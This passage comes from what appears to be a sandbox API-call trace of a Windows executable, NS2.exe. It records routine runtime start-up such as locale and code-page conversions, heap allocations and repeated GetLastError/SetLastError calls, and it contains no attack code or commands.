¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ땥@Ā") returned 256 [0122.007] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ땥@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0122.007] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ땥@Ā", cchSrc=256, lpDestStr=0x19f4f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0122.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x19fbb0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x9d{Â\x91ìþ\x19", lpUsedDefaultChar=0x0) returned 256 [0122.007] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x421e10, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\NS2.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ns2.exe")) returned 0x1f [0122.007] GetLastError () returned 0x0 [0122.007] SetLastError (dwErrCode=0x0) [0122.007] GetLastError () returned 0x0 [0122.007] SetLastError (dwErrCode=0x0) [0122.007] GetLastError () returned 0x0 [0122.007] SetLastError (dwErrCode=0x0) [0122.007] GetLastError () returned 0x0 [0122.007] SetLastError (dwErrCode=0x0) [0122.007] GetLastError () returned 0x0 [0122.007] SetLastError (dwErrCode=0x0) [0122.007] GetLastError () returned 0x0 [0122.007] SetLastError (dwErrCode=0x0) [0122.007] GetLastError () returned 0x0 [0122.007] SetLastError (dwErrCode=0x0) [0122.007] GetLastError () returned 0x0 [0122.007] SetLastError (dwErrCode=0x0) [0122.007] GetLastError () returned 0x0 [0122.007] SetLastError (dwErrCode=0x0) [0122.007] GetLastError () returned 0x0 [0122.007] SetLastError (dwErrCode=0x0) [0122.007] GetLastError () returned 0x0 [0122.007] SetLastError (dwErrCode=0x0) [0122.007] GetLastError () returned 0x0 [0122.007] SetLastError (dwErrCode=0x0) [0122.008] GetLastError () returned 0x0 [0122.008] SetLastError (dwErrCode=0x0) [0122.008] GetLastError () returned 0x0 [0122.008] SetLastError (dwErrCode=0x0) [0122.008] GetLastError () returned 0x0 [0122.008] SetLastError (dwErrCode=0x0) [0122.008] GetLastError () returned 0x0 [0122.008] SetLastError (dwErrCode=0x0) [0122.008] GetLastError () returned 0x0 [0122.008] SetLastError (dwErrCode=0x0) [0122.008] GetLastError () returned 0x0 [0122.008] SetLastError (dwErrCode=0x0) [0122.008] GetLastError () returned 0x0 [0122.008] SetLastError (dwErrCode=0x0) [0122.008] GetLastError () returned 0x0 [0122.008] SetLastError (dwErrCode=0x0) [0122.008] GetLastError () returned 0x0 [0122.008] SetLastError (dwErrCode=0x0) [0122.008] GetLastError () returned 0x0 [0122.008] SetLastError (dwErrCode=0x0) [0122.008] GetLastError () returned 0x0 [0122.008] SetLastError (dwErrCode=0x0) [0122.008] GetLastError () returned 0x0 [0122.008] SetLastError (dwErrCode=0x0) [0122.008] GetLastError () returned 0x0 [0122.008] SetLastError (dwErrCode=0x0) [0122.008] GetLastError () returned 0x0 [0122.008] SetLastError (dwErrCode=0x0) [0122.008] GetLastError () returned 0x0 [0122.008] SetLastError (dwErrCode=0x0) [0122.008] GetLastError () returned 0x0 [0122.008] SetLastError (dwErrCode=0x0) [0122.008] GetLastError () returned 0x0 [0122.008] SetLastError (dwErrCode=0x0) [0122.008] GetLastError () returned 0x0 [0122.008] SetLastError (dwErrCode=0x0) [0122.008] GetLastError () returned 0x0 [0122.008] SetLastError (dwErrCode=0x0) [0122.008] GetLastError () returned 0x0 [0122.008] SetLastError (dwErrCode=0x0) [0122.008] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x28) returned 0x4c4758 [0122.008] GetLastError () returned 0x0 [0122.008] SetLastError (dwErrCode=0x0) [0122.008] GetLastError () returned 0x0 [0122.008] SetLastError (dwErrCode=0x0) [0122.009] GetLastError () returned 0x0 [0122.009] SetLastError (dwErrCode=0x0) [0122.009] GetLastError () returned 0x0 [0122.009] SetLastError (dwErrCode=0x0) [0122.009] GetLastError () returned 0x0 [0122.009] SetLastError (dwErrCode=0x0) [0122.009] GetLastError () returned 0x0 [0122.009] SetLastError (dwErrCode=0x0) [0122.009] GetLastError () returned 0x0 [0122.009] SetLastError (dwErrCode=0x0) [0122.009] GetLastError () returned 0x0 [0122.009] SetLastError (dwErrCode=0x0) [0122.009] GetLastError () returned 0x0 [0122.009] SetLastError (dwErrCode=0x0) [0122.009] GetLastError () returned 0x0 [0122.009] SetLastError (dwErrCode=0x0) [0122.009] GetLastError () returned 0x0 [0122.009] SetLastError (dwErrCode=0x0) [0122.009] GetLastError () returned 0x0 [0122.009] SetLastError (dwErrCode=0x0) [0122.009] GetLastError () returned 0x0 [0122.009] SetLastError (dwErrCode=0x0) [0122.009] GetLastError () returned 0x0 [0122.009] SetLastError (dwErrCode=0x0) [0122.009] GetLastError () returned 0x0 [0122.009] SetLastError (dwErrCode=0x0) [0122.009] GetLastError () returned 0x0 [0122.009] SetLastError (dwErrCode=0x0) [0122.009] GetLastError () returned 0x0 [0122.009] SetLastError (dwErrCode=0x0) [0122.009] GetLastError () returned 0x0 [0122.009] SetLastError (dwErrCode=0x0) [0122.009] GetLastError () returned 0x0 [0122.009] SetLastError (dwErrCode=0x0) [0122.009] GetLastError () returned 0x0 [0122.009] SetLastError (dwErrCode=0x0) [0122.009] GetLastError () returned 0x0 [0122.009] SetLastError (dwErrCode=0x0) [0122.009] GetLastError () returned 0x0 [0122.009] SetLastError (dwErrCode=0x0) [0122.009] GetLastError () returned 0x0 [0122.010] SetLastError (dwErrCode=0x0) [0122.010] GetLastError () returned 0x0 [0122.010] SetLastError (dwErrCode=0x0) [0122.010] GetLastError () returned 0x0 [0122.010] SetLastError (dwErrCode=0x0) [0122.010] GetLastError () returned 0x0 [0122.010] SetLastError (dwErrCode=0x0) [0122.010] GetLastError () returned 0x0 [0122.010] SetLastError (dwErrCode=0x0) [0122.010] GetLastError () returned 0x0 [0122.010] SetLastError (dwErrCode=0x0) [0122.010] GetLastError () returned 0x0 [0122.010] SetLastError (dwErrCode=0x0) [0122.010] GetLastError () returned 0x0 [0122.010] SetLastError (dwErrCode=0x0) [0122.010] GetLastError () returned 0x0 [0122.010] SetLastError (dwErrCode=0x0) [0122.010] GetLastError () returned 0x0 [0122.010] SetLastError (dwErrCode=0x0) [0122.010] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xa8) returned 0x4c0998 [0122.010] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x1f) returned 0x4bb330 [0122.010] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x28) returned 0x4c49f8 [0122.010] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x37) returned 0x4c7008 [0122.010] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x3c) returned 0x4c21c0 [0122.010] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x31) returned 0x4c7108 [0122.010] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x14) returned 0x4c6460 [0122.010] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x24) returned 0x4c4a28 [0122.010] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xd) returned 0x4c9e80 [0122.010] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x17) returned 0x4c6420 [0122.010] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x2b) returned 0x4bf468 [0122.010] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x15) returned 0x4c6440 [0122.010] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x17) returned 0x4c6380 [0122.010] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x22) returned 0x4c4938 [0122.010] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xe) returned 0x4c9f70 [0122.011] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xc1) returned 0x4be660 [0122.011] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x43) returned 0x4cc6a0 [0122.011] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x1b) returned 0x4bb240 [0122.011] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x1d) returned 0x4bb010 [0122.011] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x48) returned 0x4cc5b0 [0122.011] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x12) returned 0x4c6400 [0122.011] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x18) returned 0x4c6520 [0122.011] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x1b) returned 0x4bb088 [0122.011] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x24) returned 0x4c4968 [0122.011] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x29) returned 0x4bf510 [0122.011] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x1e) returned 0x4cd5e0 [0122.011] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x23) returned 0x4c4878 [0122.011] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xd0) returned 0x4c8050 [0122.011] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x17) returned 0x4c6480 [0122.011] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x2d) returned 0x4cdf70 [0122.011] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x2b) returned 0x4ce088 [0122.011] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x8) returned 0x4c5660 [0122.011] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x21) returned 0x4c48a8 [0122.011] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xf) returned 0x4c9f28 [0122.011] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x16) returned 0x4c6540 [0122.011] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x28) returned 0x4c4a58 [0122.011] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x27) returned 0x4c48d8 [0122.011] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x12) returned 0x4c6560 [0122.011] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x21) returned 0x4c4818 [0122.011] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x10) returned 0x4c9f58 [0122.011] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x1c) returned 0x4cd478 [0122.011] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x12) returned 0x4c6500 [0122.011] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4ccbe8 | out: hHeap=0x4b0000) returned 1 [0122.012] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x800) returned 0x4cc700 [0122.012] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0122.012] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x80) returned 0x4b6a08 [0122.012] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40980c) returned 0x0 [0122.012] RtlSizeHeap (HeapHandle=0x4b0000, Flags=0x0, MemoryPointer=0x4b6a08) returned 0x80 [0122.012] GetLastError () returned 0x0 [0122.012] SetLastError (dwErrCode=0x0) [0122.012] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x2) returned 0x4c5580 [0122.012] GetLastError () returned 0x0 [0122.012] SetLastError (dwErrCode=0x0) [0122.012] GetLastError () returned 0x0 [0122.012] SetLastError (dwErrCode=0x0) [0122.012] GetLastError () returned 0x0 [0122.012] SetLastError (dwErrCode=0x0) [0122.012] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xb8) returned 0x4c5df0 [0122.012] GetLastError () returned 0x0 [0122.012] SetLastError (dwErrCode=0x0) [0122.012] GetLastError () returned 0x0 [0122.012] SetLastError (dwErrCode=0x0) [0122.012] GetUserDefaultLocaleName (in: lpLocaleName=0x19f70c, cchLocaleName=85 | out: lpLocaleName="en-US") returned 6 [0122.013] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x20001004, lpLCData=0x19f7c0, cchData=2 | out: lpLCData="Ӥ") returned 2 [0122.013] IsValidCodePage (CodePage=0x4e4) returned 1 [0122.013] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x1001, lpLCData=0x19f818, cchData=64 | out: lpLCData="English") returned 8 [0122.013] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x1002, lpLCData=0x19f898, cchData=64 | out: lpLCData="United States") returned 14 [0122.013] GetLastError () returned 0x0 [0122.013] SetLastError (dwErrCode=0x0) [0122.013] GetLastError () returned 0x0 [0122.013] SetLastError (dwErrCode=0x0) [0122.013] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x3a) returned 0x4c2058 [0122.013] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4c9fe8 [0122.013] GetLastError () returned 0x0 [0122.013] SetLastError (dwErrCode=0x0) [0122.013] GetLastError () returned 0x0 [0122.013] SetLastError (dwErrCode=0x0) [0122.013] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x3a) returned 0x4c2400 [0122.013] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xc) returned 0x4c9f40 [0122.013] GetLastError () returned 0x0 [0122.013] SetLastError (dwErrCode=0x0) [0122.013] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x419678, cbMultiByte=127, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 127 [0122.013] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x419678, cbMultiByte=127, lpWideCharStr=0x19f598, cchWideChar=127 | out: lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f@巰L") returned 127 [0122.013] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f@巰L", cchSrc=127, lpCharType=0x19f7e8 | out: lpCharType=0x19f7e8) returned 1 [0122.013] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x4) returned 0x4c5670 [0122.013] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x300) returned 0x4ca3a8 [0122.013] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x180) returned 0x4c8668 [0122.013] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x180) returned 0x4c97d0 [0122.013] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x101) returned 0x4b71e0 [0122.013] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f6dc | out: lpCPInfo=0x19f6dc) returned 1 [0122.013] GetLastError () returned 0x0 [0122.013] SetLastError (dwErrCode=0x0) [0122.013] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4b71e1, cbMultiByte=255, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 255 [0122.013] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4b71e1, cbMultiByte=255, lpWideCharStr=0x19f428, cchWideChar=255 | out: lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ@巴L巰L") returned 255 [0122.013] LCMapStringEx (in: lpLocaleName="en-US", dwMapFlags=0x100, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ@巴L巰L", cchSrc=255, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 255 [0122.013] LCMapStringEx (in: lpLocaleName="en-US", dwMapFlags=0x100, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ@巴L巰L", cchSrc=255, lpDestStr=0x19f218, cchDest=255, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 255 [0122.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchWideChar=255, lpMultiByteStr=0x4c86e9, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x17\x16\x9bÇ\x91¸", lpUsedDefaultChar=0x0) returned 255 [0122.014] GetLastError () returned 0x0 [0122.014] SetLastError (dwErrCode=0x0) [0122.014] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4b71e1, cbMultiByte=255, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 255 [0122.014] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x4b71e1, cbMultiByte=255, lpWideCharStr=0x19f428, cchWideChar=255 | out: lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ 